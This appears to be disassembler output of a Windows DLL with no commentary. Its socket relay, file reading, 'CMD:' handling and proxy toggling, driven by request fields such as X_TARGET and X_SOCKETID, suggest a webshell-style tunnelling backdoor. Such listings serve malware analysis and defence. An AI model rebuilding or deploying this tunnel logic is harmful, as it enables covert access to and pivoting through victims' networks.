call eax
test eax, eax
je case.0x10003926.106
push eax
lea ecx, [ebp - 0x1074]
call fcn.10001bf0
mov byte [ebp - 4], 0x32
cmp dword [ebp - 0x1064], 0
jne 0x10003bd9
sub esp, 0x18
mov ecx, esp
push str.Filepath_can_not_be_empty_
call fcn.10001bf0
xor edx, edx
mov ecx, edi
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x1074]
call fcn.10001b50
jmp 0x1000384b
lea edx, [ebp - 0x1074]
lea ecx, [ebp - 0x108c]
call fcn.10011230
push 0
push 0x80
push 3
push 0
mov byte [ebp - 4], 0x33
lea eax, [ebp - 0x108c]
cmp dword [ebp - 0x1078], 8
push 1
cmovae eax, dword [ebp - 0x108c]
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10003d28
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x10ec]
call fcn.10002170
mov edi, eax
or edx, esi
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x114c]
call fcn.10002150
mov esi, eax
lea eax, [ebp - 0x1074]
mov byte [ebp - 4], 0x35
push eax
mov edx, str.Read_file
lea ecx, [ebp - 0x1104]
call fcn.10009400
push str._error___handle
mov edx, eax
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x1134]
call fcn.100097b0
push esi
mov edx, eax
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x111c]
call fcn.10009820
push str._error_number
mov edx, eax
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x105c]
call fcn.100097b0
mov byte [ebp - 4], 0x39
sub esp, 8
mov edx, eax
mov ecx, esp
push edi
call fcn.10009820
mov ecx, dword [ebp - 0x11d0]
add esp, 4
xor edx, edx
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x105c]
call fcn.10001b50
lea ecx, [ebp - 0x111c]
call fcn.10001b50
lea ecx, [ebp - 0x1134]
call fcn.10001b50
lea ecx, [ebp - 0x1104]
call fcn.10001b50
lea ecx, [ebp - 0x114c]
call fcn.10001b50
lea ecx, [ebp - 0x10ec]
call fcn.10001b50
lea ecx, [ebp - 0x108c]
call fcn.100075f0
lea ecx, [ebp - 0x1074]
call fcn.10001b50
jmp 0x1000384b
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov dword [ebp - 0x11c4], eax
call fcn.1001c67b
add esp, 4
mov dword [ebp - 0x11c0], eax
test eax, eax
jne 0x10003d6e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 0x18
mov ecx, esp
push str.malloc_memory_error_
call fcn.10001bf0
xor edx, edx
mov ecx, edi
call fcn.1000e240
add esp, 0x18
jmp 0x10003d0d
push 0
lea ecx, [ebp - 0x11b4]
mov dword [ebp - 0x11b4], 0
push ecx
push dword [ebp - 0x11c4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10003e38
push 1
push dword [ebp - 0x11c0]
call fcn.10015d36
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x10ec]
call fcn.10002170
mov edi, eax
mov edx, esi
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x114c]
call fcn.10002150
mov esi, eax
lea eax, [ebp - 0x1074]
mov byte [ebp - 4], 0x3b
push eax
mov edx, str.Read_file
lea ecx, [ebp - 0x1104]
call fcn.10009400
push str._error___handle
mov edx, eax
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x1134]
call fcn.100097b0
push esi
mov edx, eax
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x111c]
call fcn.10009820
push str._error_number
mov edx, eax
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x105c]
call fcn.100097b0
mov byte [ebp - 4], 0x3f
jmp 0x10003cab
push dword [ebp - 0x11c0]
lea ecx, [ebp - 0x102c]
call fcn.10001bf0
push 1
push dword [ebp - 0x11c0]
mov byte [ebp - 4], 0x40
call fcn.10015d36
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 0x18
mov byte [ebp - 0x11ad], 1
mov ecx, esp
mov dword [ebp - 0x1030], esp
push str.stream
call fcn.10001bf0
sub esp, 0x18
mov byte [ebp - 4], 0x41
lea edx, [ebp - 0x102c]
mov ecx, esp
call fcn.10010df0
mov dl, byte [ebp - 0x11ad]
mov ecx, edi
mov byte [ebp - 4], 0x40
call fcn.1000e380
mov edx, dword [ebp - 0x11b4]
lea ecx, [ebp - 0x105c]
call fcn.10002170
add esp, 0x18
mov byte [ebp - 4], 0x42
mov ecx, esp
mov edx, str.Read_length:
push eax
call fcn.10009500
add esp, 4
mov edx, 1
mov ecx, edi
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x105c]
call fcn.10001b50
lea ecx, [ebp - 0x102c]
jmp 0x10003d08
push str.enif_smees_llA__syas_groeG
lea ecx, [ebp - 0x102c]
call fcn.10001bf0
sub esp, 0x18
mov byte [ebp - 4], 0x43
mov ecx, esp
mov dword [ebp - 0x1030], esp
mov byte [ebp - 0x11ad], 1
push str.plain
call fcn.10001bf0
lea edx, [ebp - 0x102c]
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x105c]
call fcn.100110f0
sub esp, 0x18
mov byte [ebp - 4], 0x45
mov edx, eax
mov ecx, esp
call fcn.10010df0
mov dl, byte [ebp - 0x11ad]
mov ecx, edi
mov byte [ebp - 4], 0x46
call fcn.1000e380
add esp, 0x30
lea ecx, [ebp - 0x105c]
call fcn.10001b50
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 5
call fcn.10001b50
sub esp, 0x18
jmp 0x10003970
mov esi, dword [ebp - 0x11cc]
mov ecx, esi
push 0
push str.X_TARGET
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
call eax
mov edx, dword [esi]
mov ecx, esi
push 0
push str.X_PORT
mov dword [ebp - 0x11cc], eax
mov edx, dword [edx + 0xc]
call edx
cmp dword [ebp - 0x11cc], 0
mov dword [ebp - 0x11b4], eax
je case.0x10003926.106
test eax, eax
je case.0x10003926.106
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
mov dword [ebp - 0x11bc], esi
cmp esi, 0xffffffff
jne 0x10003ffd
sub esp, 0x18
mov ecx, esp
push str.INVALID_SOCKET
call fcn.10001bf0
xor edx, edx
mov ecx, edi
call fcn.1000e240
add esp, 0x18
jmp 0x1000384b
lea eax, [ebp - 0x11c4]
mov dword [ebp - 0x11c4], 1
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x10004045
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 0x18
mov ecx, esp
push str.Set_non_block_mode_error
call fcn.10001bf0
xor edx, edx
mov ecx, edi
call fcn.1000e240
add esp, 0x18
jmp 0x1000384b
push dword [ebp - 0x11cc]
lea ecx, [ebp - 0x1074]
call fcn.10001bf0
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x108c]
push dword [ebp - 0x11b4]
mov eax, 2
mov word [ebp - 0x1144], ax
call fcn.10001bf0
push ecx
lea ecx, [ebp - 0x108c]
mov byte [ebp - 4], 0x49
call fcn.100020f0
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
lea ecx, [ebp - 0x108c]
mov word [ebp - 0x1142], ax
mov byte [ebp - 4], 0x48
call fcn.10001b50
push dword [ebp - 0x11cc]
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1140], eax
cmp eax, 0xffffffff
jne 0x10004172
push dword [ebp - 0x11cc]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, eax
test ecx, ecx
jne 0x1000412c
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea ecx, [ebp - 0x105c]
call fcn.10002150
sub esp, 0x18
mov byte [ebp - 4], 0x4a
mov ecx, esp
mov edx, str.Parse_IP_failed_:
push eax
call fcn.10009500
add esp, 4
xor edx, edx
mov ecx, edi
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x105c]
call fcn.10001b50
lea ecx, [ebp - 0x1074]
call fcn.10001b50
jmp 0x1000384b
cmp word [ecx + 8], 2
mov eax, dword [ecx + 0xc]
mov esi, dword [eax]
mov esi, dword [esi]
jne 0x1000420b
mov edi, dword [sym.imp.WS2_32.dll_inet_ntoa]
lea eax, [ebp - 0x1140]
push eax
push esi
call edi
push eax
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push esi
call edi
push eax
lea ecx, [ebp - 0x1074]
call fcn.10007330
mov edi, dword [ebp - 0x11d0]
mov esi, dword [ebp - 0x11bc]
push 0x10
lea eax, [ebp - 0x1144]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10004242
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x10d8], eax
cmp eax, 0x2733
je 0x10004242
cmp eax, 0x2734
je 0x10004242
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [ebp - 0x10d8]
lea ecx, [ebp - 0x105c]
call fcn.10002150
sub esp, 0x18
mov byte [ebp - 4], 0x4b
mov ecx, esp
mov edx, str.Socks_connect_error:
push eax
call fcn.10009500
add esp, 4
xor edx, edx
mov ecx, edi
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x105c]
call fcn.10001b50
lea ecx, [ebp - 0x1074]
call fcn.10001b50
jmp 0x1000384b
push dword [ebp - 0x11bc]
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 0x18
mov ecx, esp
push str.Unknown_address_type
call fcn.10001bf0
xor edx, edx
mov ecx, edi
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x1074]
call fcn.10001b50
jmp 0x1000384b
mov dword [ebp - 4], 0x47
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea ecx, [ebp - 0x1104]
call fcn.10002150
mov esi, eax
push 0x10040e68
lea edx, [ebp - 0x1074]
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x1134]
call fcn.100096b0
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x108c]
push dword [ebp - 0x11b4]
mov edx, eax
call fcn.100097b0
push str.__ErrNo:
mov edx, eax
mov byte [ebp - 4], 0x50
lea ecx, [ebp - 0x111c]
call fcn.100097b0
push esi
mov edx, eax
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x105c]
call fcn.10009820
sub esp, 8
mov byte [ebp - 4], 0x52
mov ecx, esp
mov edx, eax
push 0x10040e58
call fcn.100097b0
add esp, 4
mov edx, 1
mov ecx, edi
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x105c]
call fcn.10001b50
lea ecx, [ebp - 0x111c]
call fcn.10001b50
lea ecx, [ebp - 0x108c]
call fcn.10001b50
lea ecx, [ebp - 0x1134]
call fcn.10001b50
lea ecx, [ebp - 0x1104]
mov byte [ebp - 4], 0x47
call fcn.10001b50
mov edx, dword [ebp - 0x11bc]
lea ecx, [ebp - 0x102c]
call fcn.10002170
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x102c]
cmp dword [ebp - 0x1018], 0x10
mov eax, dword [edi]
cmovae ecx, dword [ebp - 0x102c]
push 1
push dword [ebp - 0x101c]
push ecx
push str.X_SOCKETID
mov ecx, edi
call dword [eax + 0x14]
lea ecx, [ebp - 0x102c]
call fcn.10001b50
lea ecx, [ebp - 0x1074]
call fcn.10001b50
jmp 0x1000384b
mov esi, dword [ebp - 0x11cc]
mov ecx, esi
push 0
push str.X_SOCKETID
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
call eax
mov dword [ebp - 0x11c4], eax
test eax, eax
je case.0x10003926.106
push eax
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0x54
call fcn.10001bf0
push ecx
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0x55
call fcn.100020f0
add esp, 4
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x102c]
mov esi, eax
call fcn.10001b50
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 0x18
jmp 0x10003970
mov esi, dword [ebp - 0x11cc]
mov ecx, esi
mov dword [ebp - 4], 5
push 0
push str.X_SOCKETID
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
call eax
mov dword [ebp - 0x11bc], eax
test eax, eax
je case.0x10003926.106
push eax
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0x59
call fcn.10001bf0
push ecx
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0x5a
call fcn.100020f0
add esp, 4
mov dword [ebp - 0x11cc], eax
lea ecx, [ebp - 0x102c]
call fcn.10001b50
push 0x1000
lea eax, [ebp - 0x1014]
push 0
push eax
call fcn.100187a0
add esp, 0xc
mov dword [ebp - 0x1064], 0
mov dword [ebp - 0x1060], 0xf
mov byte [ebp - 0x1074], 0
xor esi, esi
mov byte [ebp - 4], 0x5b
mov dword [ebp - 0x11c0], esi
nop word [eax + eax]
push 0
push 0x1000
lea eax, [ebp - 0x1014]
push eax
push dword [ebp - 0x11cc]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x11c4], eax
cmp eax, 0xffffffff
jne 0x100046b6
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x11c4], eax
cmp eax, 0x2733
je 0x1000464c
cmp eax, 0x2734
je 0x1000464c
push dword [ebp - 0x11cc]
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [ebp - 0x11c4]
lea ecx, [ebp - 0x108c]
call fcn.10002150
mov esi, eax
push dword [ebp - 0x11bc]
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0x5c
call fcn.10001bf0
push eax
mov edx, str.Read_socket_fd__
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x111c]
call fcn.10009500
add esp, 4
push str.__error:
mov edx, eax
mov byte [ebp - 4], 0x5e
lea ecx, [ebp - 0x105c]
call fcn.100097b0
add esp, 4
sub esp, 0x18
mov byte [ebp - 4], 0x5f
mov ecx, esp
mov edx, eax
push esi
call fcn.10009820
add esp, 4
xor edx, edx
mov ecx, edi
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x105c]
call fcn.10001b50
lea ecx, [ebp - 0x111c]
call fcn.10001b50
lea ecx, [ebp - 0x102c]
call fcn.10001b50
lea ecx, [ebp - 0x108c]
call fcn.10001b50
lea ecx, [ebp - 0x1074]
call fcn.10001b50
jmp 0x1000384b
push 0x14
inc esi
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, 0x5dc
jl 0x10004540
push dword [ebp - 0x11cc]
call dword [sym.imp.WS2_32.dll_closesocket]
push str.OVER
lea ecx, [ebp - 0x108c]
call fcn.10001bf0
mov byte [ebp - 4], 0x61
lea ecx, [ebp - 0x108c]
cmp dword [ebp - 0x1078], 0x10
mov eax, dword [edi]
cmovae ecx, dword [ebp - 0x108c]
push 1
push dword [ebp - 0x107c]
push ecx
push str.X_STATUS
mov ecx, edi
call dword [eax + 0x14]
push 7
push str.Timeout
jmp 0x1000474d
test eax, eax
jle 0x100046ea
push eax
lea eax, [ebp - 0x1014]
xor esi, esi
push eax
lea ecx, [ebp - 0x1074]
call fcn.10007240
inc dword [ebp - 0x11c0]
cmp dword [ebp - 0x11c4], 0x1000
jge 0x10004540
jmp 0x100047a8
jne 0x10004655
cmp dword [ebp - 0x1064], 0
ja 0x1000479c
push dword [ebp - 0x11cc]
call dword [sym.imp.WS2_32.dll_closesocket]
push str.OVER
lea ecx, [ebp - 0x108c]
call fcn.10001bf0
mov byte [ebp - 4], 0x60
lea ecx, [ebp - 0x108c]
cmp dword [ebp - 0x1078], 0x10
mov eax, dword [edi]
cmovae ecx, dword [ebp - 0x108c]
push 1
push dword [ebp - 0x107c]
push ecx
push str.X_STATUS
mov ecx, edi
call dword [eax + 0x14]
push 4
push str.DONE
lea ecx, [ebp - 0x108c]
call fcn.10001c40
cmp dword [ebp - 0x1078], 0x10
lea ecx, [ebp - 0x108c]
mov eax, dword [edi]
cmovae ecx, dword [ebp - 0x108c]
push 1
push dword [ebp - 0x107c]
push ecx
push str.X_ERROR
mov ecx, edi
call dword [eax + 0x14]
lea ecx, [ebp - 0x108c]
call fcn.10001b50
lea ecx, [ebp - 0x1074]
call fcn.10001b50
jmp 0x1000384b
cmp esi, 0x5dc
jge 0x10004661
mov edx, esi
lea ecx, [ebp - 0x108c]
call fcn.10002150
mov esi, eax
mov edx, dword [ebp - 0x11c0]
lea ecx, [ebp - 0x111c]
mov byte [ebp - 4], 0x62
call fcn.10002150
push 0x10040ee8
mov edx, eax
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x105c]
call fcn.100097b0
add esp, 4
sub esp, 0x18
mov byte [ebp - 4], 0x64
mov ecx, esp
mov edx, eax
push esi
call fcn.10009820
add esp, 4
mov edx, 1
mov ecx, edi
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x105c]
call fcn.10001b50
lea ecx, [ebp - 0x111c]
call fcn.10001b50
lea ecx, [ebp - 0x108c]
mov byte [ebp - 4], 0x5b
call fcn.10001b50
push dword [ebp - 0x11bc]
lea ecx, [ebp - 0x102c]
call fcn.10001bf0
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x102c]
cmp dword [ebp - 0x1018], 0x10
mov eax, dword [edi]
cmovae ecx, dword [ebp - 0x102c]
push 1
push dword [ebp - 0x101c]
push ecx
push str.X_SOCKETID
mov ecx, edi
call dword [eax + 0x14]
sub esp, 0x18
mov byte [ebp - 0x11ad], 0
mov ecx, esp
mov dword [ebp - 0x1030], esp
push str.stream
call fcn.10001bf0
sub esp, 0x18
mov byte [ebp - 4], 0x66
lea eax, [ebp - 0x1074]
mov ecx, esp
push eax
call fcn.100073a0
mov dl, byte [ebp - 0x11ad]
mov ecx, edi
mov byte [ebp - 4], 0x65
call fcn.1000e380
add esp, 0x30
lea ecx, [ebp - 0x102c]
call fcn.10001b50
lea ecx, [ebp - 0x1074]
call fcn.10001b50
jmp 0x1000384b
cmp dword [ebp - 0x1030], 0
je case.0x10003926.106
mov eax, dword [ebp - 0x11c0]
test eax, eax
je 0x10004982
push eax
lea ecx, [ebp - 0x102c]
call fcn.10001bf0
lea eax, [ebp - 0x102c]
mov dword [ebp - 0x11bc], 8
push eax
call fcn.10006c50
test eax, eax
je 0x10004982
cmp dword [ebp - 0x10d8], 0
mov byte [ebp - 0x11ad], 0
jne 0x10004989
mov byte [ebp - 0x11ad], 1
mov eax, dword [ebp - 0x11bc]
test al, 8
je 0x100049a7
and eax, 0xfffffff7
lea ecx, [ebp - 0x102c]
mov dword [ebp - 0x11bc], eax
call fcn.10001b50
cmp byte [ebp - 0x11ad], 0
jne case.0x10003926.106
mov edx, esi
lea ecx, [ebp - 0x1104]
call fcn.1000e530
mov eax, dword [ebp - 0x11c0]
lea ecx, [ebp - 0x1164]
push eax
mov byte [ebp - 4], 0x6a
call fcn.10001bf0
lea eax, [ebp - 0x1164]
mov byte [ebp - 4], 0x6b
push eax
lea eax, [ebp - 0x1034]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x1034]
lea ecx, [ebp - 0x1164]
mov esi, dword [eax + 0x28]
mov byte [ebp - 4], 0x6a
call fcn.10001b50
add esi, 0xffffff9c
cmp esi, 0xf
ja case.0x10004a19.102
movzx eax, byte [esi + 0x100060f4]
jmp dword [eax*4 + 0x100060d0]
lea edx, [ebp - 0x1104]
lea ecx, [ebp - 0x105c]
call fcn.10010df0
mov edx, eax
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x11b8]
call fcn.1000e8d0
lea ecx, [ebp - 0x105c]
call fcn.10001b50
mov dword [ebp - 0x1184], 0
mov dword [ebp - 0x1180], 0xf
mov byte [ebp - 0x1194], 0
push 0x10040eec
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0x6f
call fcn.10001bf0
lea eax, [ebp - 0x102c]
push eax
lea eax, [ebp - 0x1030]
push eax
lea ecx, [ebp - 0x11b8]
call fcn.10006ba0
lea ecx, [ebp - 0x102c]
call fcn.10001b50
mov eax, dword [ebp - 0x1030]
cmp eax, dword [ebp - 0x11b8]
je 0x10004ac5
add eax, 0x28
lea ecx, [ebp - 0x1194]
cmp ecx, eax
je 0x10004ac5
push 0xffffffffffffffff
push 0
push eax
call fcn.10001ed0
push str.timeout
lea ecx, [ebp - 0x102c]
call fcn.10001bf0
lea eax, [ebp - 0x102c]
push eax
lea eax, [ebp - 0x1030]
push eax
lea ecx, [ebp - 0x11b8]
call fcn.10006ba0
lea ecx, [ebp - 0x102c]
mov esi, dword [eax]
call fcn.10001b50
cmp esi, dword [ebp - 0x11b8]
je 0x10004b43
push ecx
lea ecx, [esi + 0x28]
mov byte [ebp - 4], 0x70
call fcn.100020f0
add esp, 4
mov dword [ebp - 4], 0x6f
mov esi, eax
jmp 0x10004b48
mov esi, 5
cmp dword [ebp - 0x1184], 0
je 0x10004c20
sub esp, 0x18
mov byte [ebp - 0x11ad], 1
mov ecx, esp
mov dword [ebp - 0x1030], esp
push str.plain
call fcn.10001bf0
lea edx, [ebp - 0x1194]
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x111c]
call fcn.10011230
imul ecx, esi, 0x3e8
mov edx, eax
mov byte [ebp - 4], 0x73
push ecx
lea ecx, [ebp - 0x105c]
call fcn.10012eb0
sub esp, 0x14
mov byte [ebp - 4], 0x74
mov edx, eax
mov ecx, esp
call fcn.10010df0
mov dl, byte [ebp - 0x11ad]
mov ecx, edi
mov byte [ebp - 4], 0x76
call fcn.1000e380
add esp, 0x30
lea ecx, [ebp - 0x105c]
call fcn.10001b50
lea ecx, [ebp - 0x111c]
mov byte [ebp - 4], 0x6f
call fcn.100075f0
sub esp, 0x18
mov ecx, esp
push 0x100405d4
call fcn.10001bf0
mov edx, 1
mov ecx, edi
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x1194]
call fcn.10001b50
lea ecx, [ebp - 0x11b8]
call fcn.10006110
lea ecx, [ebp - 0x1104]
call fcn.10001b50
jmp 0x1000384b
lea ecx, [ebp - 0x1194]
call fcn.10001b50
lea ecx, [ebp - 0x11b8]
call fcn.10006110
lea ecx, [ebp - 0x1104]
call fcn.10001b50
lea ecx, [ebp - 0x10bc]
call fcn.100075f0
lea ecx, [ebp - 0x10a4]
call fcn.100075f0
lea ecx, [ebp - 0x10d4]
call fcn.10001b50
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1001578e
mov esp, ebp
pop ebp
ret 8
lea edx, [ebp - 0x1104]
lea ecx, [ebp - 0x105c]
call fcn.10010df0
mov edx, eax
mov byte [ebp - 4], 0x77
lea ecx, [ebp - 0x11b8]
call fcn.1000e8d0
lea ecx, [ebp - 0x105c]
call fcn.10001b50
mov dword [ebp - 0x119c], 0
mov dword [ebp - 0x1198], 0xf
mov byte [ebp - 0x11ac], 0
push 0x10040eec
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0x7a
call fcn.10001bf0
lea eax, [ebp - 0x102c]
push eax
lea eax, [ebp - 0x1030]
push eax
lea ecx, [ebp - 0x11b8]
call fcn.10006ba0
lea ecx, [ebp - 0x102c]
call fcn.10001b50
mov eax, dword [ebp - 0x1030]
cmp eax, dword [ebp - 0x11b8]
je 0x10004d27
add eax, 0x28
lea ecx, [ebp - 0x11ac]
cmp ecx, eax
je 0x10004d27
push 0xffffffffffffffff
push 0
push eax
call fcn.10001ed0
push str.timeout
lea ecx, [ebp - 0x102c]
call fcn.10001bf0
lea eax, [ebp - 0x102c]
push eax
lea eax, [ebp - 0x1030]
push eax
lea ecx, [ebp - 0x11b8]
call fcn.10006ba0
lea ecx, [ebp - 0x102c]
mov esi, dword [eax]
call fcn.10001b50
cmp esi, dword [ebp - 0x11b8]
je 0x10004da5
push ecx
lea ecx, [esi + 0x28]
mov byte [ebp - 4], 0x7b
call fcn.100020f0
add esp, 4
mov dword [ebp - 4], 0x7a
mov esi, eax
jmp 0x10004daa
mov esi, 5
cmp dword [ebp - 0x119c], 0
je 0x10004ea9
mov dword [ebp - 0x101c], 0
mov dword [ebp - 0x1018], 0xf
mov byte [ebp - 0x102c], 0
lea eax, [ebp - 0x11ac]
mov byte [ebp - 4], 0x7d
push eax
mov edx, str.CMD:
lea ecx, [ebp - 0x111c]
call fcn.10009400
mov edx, eax
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x105c]
call fcn.10010df0
imul ecx, esi, 0x3e8
lea edx, [ebp - 0x102c]
mov byte [ebp - 4], 0x7f
push ecx
mov ecx, eax
call fcn.10012bc0
add esp, 8
lea ecx, [ebp - 0x105c]
call fcn.10001b50
lea ecx, [ebp - 0x111c]
mov byte [ebp - 4], 0x7d
call fcn.10001b50
sub esp, 0x18
mov byte [ebp - 0x11ad], 1
mov ecx, esp
mov dword [ebp - 0x1030], esp
push str.plain
call fcn.10001bf0
sub esp, 0x18
mov byte [ebp - 4], 0x80
lea eax, [ebp - 0x102c]
mov ecx, esp
push eax
call fcn.100073a0
mov dl, byte [ebp - 0x11ad]
mov ecx, edi
mov byte [ebp - 4], 0x7d
call fcn.1000e380
add esp, 0x18
mov ecx, esp
push 0x100405d4
call fcn.10001bf0
mov edx, 1
mov ecx, edi
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x102c]
call fcn.10001b50
lea ecx, [ebp - 0x11ac]
jmp 0x10004c00
lea ecx, [ebp - 0x11ac]
jmp 0x10004c26
lea edx, [ebp - 0x1104]
lea ecx, [ebp - 0x105c]
call fcn.10010df0
mov edx, eax
mov byte [ebp - 4], 0x81
lea ecx, [ebp - 0x11b8]
call fcn.1000e8d0
lea ecx, [ebp - 0x105c]
call fcn.10001b50
xor eax, eax
mov dword [ebp - 0x101c], 0
mov dword [ebp - 0x1018], 7
mov word [ebp - 0x102c], ax
push str.proxyEnable
lea ecx, [ebp - 0x1074]
mov byte [ebp - 4], 0x84
call fcn.10001bf0
lea eax, [ebp - 0x1074]
push eax
lea eax, [ebp - 0x1030]
push eax
lea ecx, [ebp - 0x11b8]
call fcn.10006ba0
lea ecx, [ebp - 0x1074]
call fcn.10001b50
mov esi, dword [ebp - 0x1030]
cmp esi, dword [ebp - 0x11b8]
je 0x10005132
lea ecx, [esi + 0x28]
mov edx, 0x10040f0c
call fcn.100098a0
test al, al
je 0x10005033
push 0x10040f10
lea ecx, [ebp - 0x1134]
mov byte [0x10046880], 0
call fcn.10007150
push 0x10040f14
lea ecx, [ebp - 0x108c]
mov byte [ebp - 4], 0x85
call fcn.10007150
push str.Common
lea ecx, [ebp - 0x1074]
mov byte [ebp - 4], 0x86
call fcn.10007150
lea eax, [ebp - 0x1134]
mov byte [ebp - 4], 0x87
push eax
lea edx, [ebp - 0x108c]
lea ecx, [ebp - 0x1074]
call fcn.10012af0
add esp, 4
lea ecx, [ebp - 0x1074]
call fcn.100075f0
lea ecx, [ebp - 0x108c]
call fcn.100075f0
lea ecx, [ebp - 0x1134]
mov byte [ebp - 4], 0x84
call fcn.100075f0
push str.Disabled_Proxy
lea ecx, [ebp - 0x114c]
call fcn.10001bf0
sub esp, 0x18
mov byte [ebp - 4], 0x88
mov ecx, esp
mov dword [ebp - 0x1030], esp
mov byte [ebp - 0x11ad], 1
push str.plain
call fcn.10001bf0
sub esp, 0x18
mov byte [ebp - 4], 0x89
lea edx, [ebp - 0x114c]
mov ecx, esp
call fcn.10010df0
mov dl, byte [ebp - 0x11ad]
mov byte [ebp - 4], 0x88
jmp 0x10005119
lea ecx, [esi + 0x28]
mov edx, 0x10040f4c
call fcn.100098a0
test al, al
je 0x10005132
push 0x10040f50
lea ecx, [ebp - 0x1134]
mov byte [0x10046880], 1
call fcn.10007150
push 0x10040f14
lea ecx, [ebp - 0x108c]
mov byte [ebp - 4], 0x8a
call fcn.10007150
push str.Common
lea ecx, [ebp - 0x1074]
mov byte [ebp - 4], 0x8b
call fcn.10007150
lea eax, [ebp - 0x1134]
mov byte [ebp - 4], 0x8c
push eax
lea edx, [ebp - 0x108c]
lea ecx, [ebp - 0x1074]
call fcn.10012af0
add esp, 4
lea ecx, [ebp - 0x1074]
call fcn.100075f0
lea ecx, [ebp - 0x108c]
call fcn.100075f0
lea ecx, [ebp - 0x1134]
mov byte [ebp - 4], 0x84
call fcn.100075f0
push str.Enabled_Proxy
lea ecx, [ebp - 0x114c]
call fcn.10001bf0
sub esp, 0x18
mov byte [ebp - 4], 0x8d
mov ecx, esp
mov dword [ebp - 0x1030], esp
mov byte [ebp - 0x11ad], 1
push str.plain
call fcn.10001bf0
sub esp, 0x18
mov byte [ebp - 4], 0x8e
lea edx, [ebp - 0x114c]
mov ecx, esp
call fcn.10010df0
mov dl, byte [ebp - 0x11ad]
mov byte [ebp - 4], 0x8d
mov ecx, edi
call fcn.1000e380
add esp, 0x30
mov byte [ebp - 4], 0x84
lea ecx, [ebp - 0x114c]
call fcn.10001b50
sub esp, 0x18
mov ecx, esp
push 0x100405d4
call fcn.10001bf0
mov edx, 1
mov ecx, edi
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x102c]
call fcn.100075f0
jmp 0x10004c05
